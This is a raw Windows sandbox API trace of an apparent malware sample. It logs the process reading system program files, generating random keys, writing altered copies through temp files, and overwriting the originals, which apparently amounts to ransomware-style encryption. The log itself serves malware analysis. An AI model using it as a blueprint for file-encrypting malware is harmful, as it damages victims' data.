	[0271.897] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.897] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.897] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.898] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.898] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.899] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.899] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.899] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.899] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.900] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.900] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.902] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.902] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.903] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.903] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.903] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.904] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.904] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.904] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.905] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.905] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.906] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.906] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.907] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.907] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.907] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.907] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.908] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0271.908] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0271.909] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x598b, lpOverlapped=0x0) returned 1
	[0271.909] WriteFile (in: hFile=0x19c, lpBuffer=0xc000106000*, nNumberOfBytesToWrite=0x598b, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x598b, lpOverlapped=0x0) returned 1
	[0271.909] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000106000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000106000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0271.909] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\06ba6b8127abc2917092cfc3943c58a2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\06ba6b8127abc2917092cfc3943c58a2")) returned 0
	[0271.910] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\06ba6b8127abc2917092cfc3943c58a2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\06ba6b8127abc2917092cfc3943c58a2")) returned 0
	[0271.910] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\06ba6b8127abc2917092cfc3943c58a2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\06ba6b8127abc2917092cfc3943c58a2")) returned 0x20
	[0271.910] CloseHandle (hObject=0x1ac) returned 1
	[0271.910] CloseHandle (hObject=0x19c) returned 1
	[0271.946] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\06ba6b8127abc2917092cfc3943c58a2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\06ba6b8127abc2917092cfc3943c58a2")) returned 1
	[0271.962] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0273.094] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc00033fd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00033fd94, lpOverlapped=0x0) returned 0
	[0273.094] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0xa1, lpNumberOfBytesWritten=0xc00033fd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00033fd94, lpOverlapped=0x0) returned 0
	[0273.094] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0273.095] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc00033fbf4 | out: lpMode=0xc00033fbf4) returned 0
	[0273.095] GetFileType (hFile=0x1ac) returned 0x1
	[0273.095] GetFileType (hFile=0x1ac) returned 0x1
	[0273.095] GetFileInformationByHandle (in: hFile=0x1ac, lpFileInformation=0xc00033fc44 | out: lpFileInformation=0xc00033fc44) returned 1
	[0273.095] GetFileInformationByHandleEx (in: hFile=0x1ac, FileInformationClass=0x9, lpFileInformation=0xc00033fc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00033fc28) returned 1
	[0273.095] ReadFile (in: hFile=0x1ac, lpBuffer=0xc0000a4000, nNumberOfBytesToRead=0xfc7, lpNumberOfBytesRead=0xc00033fb04, lpOverlapped=0x0 | out: lpBuffer=0xc0000a4000*, lpNumberOfBytesRead=0xc00033fb04*=0xdc7, lpOverlapped=0x0) returned 1
	[0273.208] ReadFile (in: hFile=0x1ac, lpBuffer=0xc0000a4dc7, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00033fb04, lpOverlapped=0x0 | out: lpBuffer=0xc0000a4dc7*, lpNumberOfBytesRead=0xc00033fb04*=0x0, lpOverlapped=0x0) returned 1
	[0273.209] CloseHandle (hObject=0x1ac) returned 1
	[0273.209] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000202360 | out: pbBuffer=0xc000202360) returned 1
	[0273.209] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000010320 | out: pbBuffer=0xc000010320) returned 1
	[0273.209] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000a01 | out: pbBuffer=0xc000000a01) returned 1
	[0273.209] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d5a275b2b2cafcc29427937106a42135" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d5a275b2b2cafcc29427937106a42135"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0273.210] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc00033fc04 | out: lpMode=0xc00033fc04) returned 0
	[0273.210] GetFileType (hFile=0x1ac) returned 0x1
	[0273.210] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000a5000*, nNumberOfBytesToWrite=0xec7, lpNumberOfBytesWritten=0xc00033fbec, lpOverlapped=0x0 | out: lpBuffer=0xc0000a5000*, lpNumberOfBytesWritten=0xc00033fbec*=0xec7, lpOverlapped=0x0) returned 1
	[0273.212] CloseHandle (hObject=0x1ac) returned 1
	[0273.215] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0273.217] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc00033fd74 | out: lpMode=0xc00033fd74) returned 0
	[0273.217] GetFileType (hFile=0x1ac) returned 0x1
	[0273.217] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d5a275b2b2cafcc29427937106a42135" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d5a275b2b2cafcc29427937106a42135"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0273.218] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc00033fd74 | out: lpMode=0xc00033fd74) returned 0
	[0273.218] GetFileType (hFile=0x19c) returned 0x1
	[0273.218] ReadFile (in: hFile=0x19c, lpBuffer=0xc0000f4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000f4000*, lpNumberOfBytesRead=0xc00033fbd4*=0xec7, lpOverlapped=0x0) returned 1
	[0273.219] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0000f4000*, nNumberOfBytesToWrite=0xec7, lpNumberOfBytesWritten=0xc00033fb74, lpOverlapped=0x0 | out: lpBuffer=0xc0000f4000*, lpNumberOfBytesWritten=0xc00033fb74*=0xec7, lpOverlapped=0x0) returned 1
	[0273.221] ReadFile (in: hFile=0x19c, lpBuffer=0xc0000f4000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00033fbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0000f4000*, lpNumberOfBytesRead=0xc00033fbd4*=0x0, lpOverlapped=0x0) returned 1
	[0273.221] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d5a275b2b2cafcc29427937106a42135" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d5a275b2b2cafcc29427937106a42135")) returned 0
	[0273.221] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d5a275b2b2cafcc29427937106a42135" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d5a275b2b2cafcc29427937106a42135")) returned 0
	[0273.221] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d5a275b2b2cafcc29427937106a42135" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d5a275b2b2cafcc29427937106a42135")) returned 0x20
	[0273.222] CloseHandle (hObject=0x19c) returned 1
	[0273.222] CloseHandle (hObject=0x1ac) returned 1
	[0273.222] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\d5a275b2b2cafcc29427937106a42135" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\d5a275b2b2cafcc29427937106a42135")) returned 1
	[0273.225] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0273.305] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0273.400] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0273.475] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0273.563] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0273.647] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0273.728] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0273.728] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0273.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0273.729] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0001dbbf4 | out: lpMode=0xc0001dbbf4) returned 0
	[0273.729] GetFileType (hFile=0x1ac) returned 0x1
	[0273.729] GetFileType (hFile=0x1ac) returned 0x1
	[0273.729] GetFileInformationByHandle (in: hFile=0x1ac, lpFileInformation=0xc0001dbc44 | out: lpFileInformation=0xc0001dbc44) returned 1
	[0273.729] GetFileInformationByHandleEx (in: hFile=0x1ac, FileInformationClass=0x9, lpFileInformation=0xc0001dbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001dbc28) returned 1
	[0273.729] ReadFile (in: hFile=0x1ac, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x17303, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc0001dbb04*=0x17103, lpOverlapped=0x0) returned 1
	[0273.736] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000133103, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc000133103*, lpNumberOfBytesRead=0xc0001dbb04*=0x0, lpOverlapped=0x0) returned 1
	[0273.736] CloseHandle (hObject=0x1ac) returned 1
	[0273.737] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002024c0 | out: pbBuffer=0xc0002024c0) returned 1
	[0273.737] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000010400 | out: pbBuffer=0xc000010400) returned 1
	[0273.737] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000c01 | out: pbBuffer=0xc000000c01) returned 1
	[0273.738] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\74cf0a11ed3cfb7e7b947fa8fb42ef0f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\74cf0a11ed3cfb7e7b947fa8fb42ef0f"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0273.738] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0001dbc04 | out: lpMode=0xc0001dbc04) returned 0
	[0273.738] GetFileType (hFile=0x1ac) returned 0x1
	[0273.738] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000134000*, nNumberOfBytesToWrite=0x17203, lpNumberOfBytesWritten=0xc0001dbbec, lpOverlapped=0x0 | out: lpBuffer=0xc000134000*, lpNumberOfBytesWritten=0xc0001dbbec*=0x17203, lpOverlapped=0x0) returned 1
	[0273.825] CloseHandle (hObject=0x1ac) returned 1
	[0273.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0273.837] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0273.837] GetFileType (hFile=0x1ac) returned 0x1
	[0273.837] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\74cf0a11ed3cfb7e7b947fa8fb42ef0f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\74cf0a11ed3cfb7e7b947fa8fb42ef0f"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0273.838] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0273.838] GetFileType (hFile=0x120) returned 0x1
	[0273.838] ReadFile (in: hFile=0x120, lpBuffer=0xc00014c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00014c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0273.838] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00014c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00014c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0273.840] ReadFile (in: hFile=0x120, lpBuffer=0xc00014c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00014c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0273.841] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00014c000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00014c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0273.841] ReadFile (in: hFile=0x120, lpBuffer=0xc00014c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00014c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x7203, lpOverlapped=0x0) returned 1
	[0273.842] WriteFile (in: hFile=0x1ac, lpBuffer=0xc00014c000*, nNumberOfBytesToWrite=0x7203, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00014c000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x7203, lpOverlapped=0x0) returned 1
	[0273.843] ReadFile (in: hFile=0x120, lpBuffer=0xc00014c000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00014c000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0273.843] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\74cf0a11ed3cfb7e7b947fa8fb42ef0f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\74cf0a11ed3cfb7e7b947fa8fb42ef0f")) returned 0
	[0273.843] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\74cf0a11ed3cfb7e7b947fa8fb42ef0f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\74cf0a11ed3cfb7e7b947fa8fb42ef0f")) returned 0
	[0273.843] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\74cf0a11ed3cfb7e7b947fa8fb42ef0f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\74cf0a11ed3cfb7e7b947fa8fb42ef0f")) returned 0x20
	[0273.843] CloseHandle (hObject=0x120) returned 1
	[0273.844] CloseHandle (hObject=0x1ac) returned 1
	[0273.850] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\74cf0a11ed3cfb7e7b947fa8fb42ef0f" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\74cf0a11ed3cfb7e7b947fa8fb42ef0f")) returned 1
	[0273.854] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0273.936] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0274.157] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0274.763] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0274.875] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0274.919] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0274.958] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0274.999] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0275.042] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0275.087] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0275.129] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0275.177] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0275.215] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0275.261] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0275.305] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0275.342] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0275.397] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0275.437] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0275.584] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0275.668] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0276.227] SetEvent (hEvent=0x1a0) returned 1
	[0276.227] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xf8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70705ff608, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70705ff608*=0x1b4) returned 1
